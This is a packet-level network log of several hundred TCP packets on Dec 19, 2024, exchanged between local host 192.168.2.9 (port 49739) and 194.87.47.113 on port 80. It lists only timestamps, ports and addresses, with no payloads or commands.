Dec 19, 2024 08:01:01.243293047 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.243297100 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.243383884 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.243416071 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.243417978 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.243453026 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.243484974 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.243489027 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.243525028 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.243557930 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.243560076 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.243593931 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.243628025 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.243662119 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.243691921 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.243695974 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.243730068 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.243760109 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.244250059 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.244286060 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.244334936 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.244364977 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.244369030 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.244404078 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.244434118 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.244438887 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.244477987 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.244509935 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.244510889 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.244560957 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.244575024 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.244587898 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.244610071 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.244640112 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.244643927 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.244777918 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.245004892 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.245054960 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.245086908 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.245132923 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.245168924 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.245201111 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.245203972 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.245249987 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.245280981 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.245284081 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.245318890 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.245352030 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.245481968 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.245708942 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.245743990 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.245779037 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.245815039 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.245846987 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.245904922 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.245942116 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.245971918 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.245975971 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.246028900 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.246057987 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.246062040 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.246097088 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.246121883 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.246129990 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.246164083 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.246196032 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.246196985 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.246364117 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.246578932 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.246684074 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.246715069 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.246733904 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.246786118 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.246817112 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.246820927 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.246855974 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.246881962 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.246889114 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.246922970 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.246956110 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.246989012 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.247021914 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.247051954 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.247054100 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.247467041 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.247499943 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.247536898 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.247569084 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.247572899 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.247632027 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.247663975 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.247664928 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.247700930 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.247730970 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.247734070 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.247769117 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.247797966 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.247802019 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.247837067 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.247867107 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.247870922 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.247905016 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.247931957 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.248686075 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.248722076 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.248754978 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.248788118 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.248790026 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.248821020 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.248826027 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.248862028 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.248894930 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.248924971 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.248929024 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.248958111 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.248961926 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.248996973 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.249027967 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.249031067 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.249066114 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.249301910 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.249329090 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.249419928 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.249454975 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.249483109 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.249489069 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.249552965 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.249581099 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.249587059 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.249757051 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.249777079 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.249811888 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.249842882 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.249895096 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.249942064 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.249972105 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.250381947 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.250416994 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.250448942 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.250469923 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.250504971 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.250536919 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.250540018 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.250575066 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.250603914 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.250608921 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.250644922 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.250670910 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.250679016 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.250714064 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.250745058 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.250808001 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.250843048 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.250874996 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.250875950 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.251120090 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.251393080 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.251446009 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.251478910 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.251513004 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.251544952 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.251548052 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.251579046 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.251610041 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.251612902 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.251648903 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.251678944 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.251682043 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.251718044 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.251746893 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.251749992 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.251785040 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.251815081 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.251817942 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.251976967 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.252233028 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.252285004 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.252316952 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.252317905 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.252353907 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.252383947 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.252386093 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.252423048 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.252450943 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.252456903 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.252491951 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.252516985 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.252526045 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.252559900 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.252592087 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.252593994 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.252629042 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.252660036 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.253046036 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.253108978 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.253163099 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.253228903 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.253262997 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.253279924 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.253314018 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.253345966 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.253360033 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.253393888 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.253423929 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.253427982 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.253463030 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.253488064 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.253494978 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.253505945 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.253521919 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.253531933 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.253539085 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.253563881 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.254093885 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.254107952 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.254120111 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.254138947 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.254151106 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.254162073 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.254168987 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.254168987 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.254174948 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.254183054 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.254189968 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.254203081 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.254215002 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.254215956 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.254226923 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.254239082 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.254251957 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.254260063 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.255145073 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.255157948 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.255170107 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.255182028 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.255192995 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.255204916 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.255208015 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.255217075 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.255228996 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.255230904 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.255230904 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.255240917 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.255255938 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.255266905 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.255268097 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.255280972 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.255294085 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.255357981 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.255836964 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.255882978 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.255894899 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.255913019 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.255925894 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.255933046 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.255944967 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.255956888 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.255956888 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.255965948 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.255973101 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.256355047 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.256366968 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.256376982 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.256386042 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.256398916 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.256519079 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.256556988 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.256568909 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.256580114 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.256647110 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.256911993 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.256982088 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.256994963 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.257056952 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.257056952 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.257870913 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.257937908 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.257951021 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.258428097 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.258914948 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.258982897 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.258995056 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.259058952 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.259058952 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.259794950 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.259839058 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.259850025 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.259964943 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.260752916 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.260814905 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.260827065 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.260859966 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.260972977 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.389051914 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.389085054 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.389096022 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.389106989 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.389123917 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.389149904 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.389216900 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.389512062 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.389550924 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.389566898 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.389581919 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.389662981 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.390233994 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.390259981 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.390265942 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.390357018 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.390871048 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.390924931 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.390935898 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.390958071 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.391077042 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.391716003 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.424746037 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.424765110 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.424777985 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.424803972 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.424886942 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.425050020 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.425120115 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.425132990 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.425184011 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.426007032 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.426053047 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.426065922 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.426122904 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.426122904 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.427139044 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.427208900 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.427222013 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.427434921 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.427958012 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.428016901 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.428028107 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.428072929 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.428311110 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.429014921 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.429111958 CET	80	49739	194.87.47.113	192.168.2.9
